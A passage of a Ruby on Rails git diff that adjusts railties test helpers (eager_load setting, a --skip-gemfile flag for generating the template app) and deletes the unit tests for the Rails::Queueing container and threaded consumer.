config.session_store :cookie_store, :key => "_myapp_session"
config.active_support.deprecation = :log
@@ -136,6 +137,7 @@ module TestHelpers
require "action_controller/railtie"
app = Class.new(Rails::Application)
+ app.config.eager_load = false
app.config.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
app.config.session_store :cookie_store, :key => "_myapp_session"
app.config.active_support.deprecation = :log
@@ -251,9 +253,6 @@ module TestHelpers
def use_frameworks(arr)
to_remove = [:actionmailer,
:activerecord] - arr
- if to_remove.include? :activerecord
- remove_from_config "config.active_record.whitelist_attributes = true"
- end
$:.reject! {|path| path =~ %r'/(#{to_remove.join('|')})/' }
end
@@ -280,8 +279,7 @@ Module.new do
environment = File.expand_path('../../../../load_paths', __FILE__)
require_environment = "-r #{environment}"
- `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{app_template_path}`
-
+ `#{Gem.ruby} #{require_environment} #{RAILS_FRAMEWORK_ROOT}/railties/bin/rails new #{app_template_path} --skip-gemfile`
File.open("#{app_template_path}/config/boot.rb", 'w') do |f|
f.puts "require '#{environment}'"
f.puts "require 'rails/all'"
diff --git a/railties/test/queueing/container_test.rb b/railties/test/queueing/container_test.rb
deleted file mode 100644
index 69e59a3871..0000000000
--- a/railties/test/queueing/container_test.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'abstract_unit'
-require 'rails/queueing'
-
-module Rails
- module Queueing
- class ContainerTest < ActiveSupport::TestCase
- def test_delegates_to_default
- q = Queue.new
- container = Container.new q
- job = Object.new
-
- container.push job
- assert_equal job, q.pop
- end
-
- def test_access_default
- q = Queue.new
- container = Container.new q
- assert_equal q, container[:default]
- end
-
- def test_assign_queue
- container = Container.new Object.new
- q = Object.new
- container[:foo] = q
- assert_equal q, container[:foo]
- end
- end
- end
-end
diff --git a/railties/test/queueing/threaded_consumer_test.rb b/railties/test/queueing/threaded_consumer_test.rb
deleted file mode 100644
index c34a966d6e..0000000000
--- a/railties/test/queueing/threaded_consumer_test.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-require 'abstract_unit'
-require 'rails/queueing'
-
-class TestThreadConsumer < ActiveSupport::TestCase
- class Job
- attr_reader :id
- def initialize(id, &block)
- @id = id
- @block = block
- end
-
- def run
- @block.call if @block
- end
- end
-
- def setup
- @queue = Rails::Queueing::Queue.new
- @consumer = Rails::Queueing::ThreadedConsumer.start(@queue)
- end
-
- def teardown
- @queue.push nil
- end
-
- test "the jobs are executed" do
- ran = false
-
- job = Job.new(1) do
- ran = true
- end
-
- @queue.push job
- sleep 0.1
- assert_equal true, ran
- end
-
- test "the jobs are not executed synchronously" do
- ran = false
-
- job = Job.new(1) do
- sleep 0.1
- ran = true
- end
-
- @queue.push job
- assert_equal false, ran
- end
-
- test "shutting down the queue synchronously drains the jobs" do
- ran = false
-
- job = Job.new(1) do
- sleep 0.1
- ran = true
- end
-
- @queue.push job
- assert_equal false, ran
-
- @consumer.shutdown
-
- assert_equal true, ran
- end
-
- test "log job that raises an exception" do
- require "active_support/log_subscriber/test_helper"
- logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
- Rails.logger = logger
-
- job = Job.new(1) do
- raise "RuntimeError: Error!"
- end
-
- @queue.push job
- sleep 0.1
-
- assert_equal 1, logger.logged(:error).size
- assert_match(/Job Error: RuntimeError: Error!/, logger.logged(:error).last)
- end
-
- test "test overriding exception handling" do
- @consumer.shutdown
- @consumer = Class.new(Rails::Queueing::ThreadedConsumer) do
- attr_reader :last_error
- def handle_exception(e)
- @last_error = e.message
- end
- end.start(@queue)
-
- job = Job.new(1) do
- raise "RuntimeError: Error!"
- end
-
- @queue.push job
- sleep 0.1
-
- assert_equal "RuntimeError: Error!", @consumer.last_error
- end
-end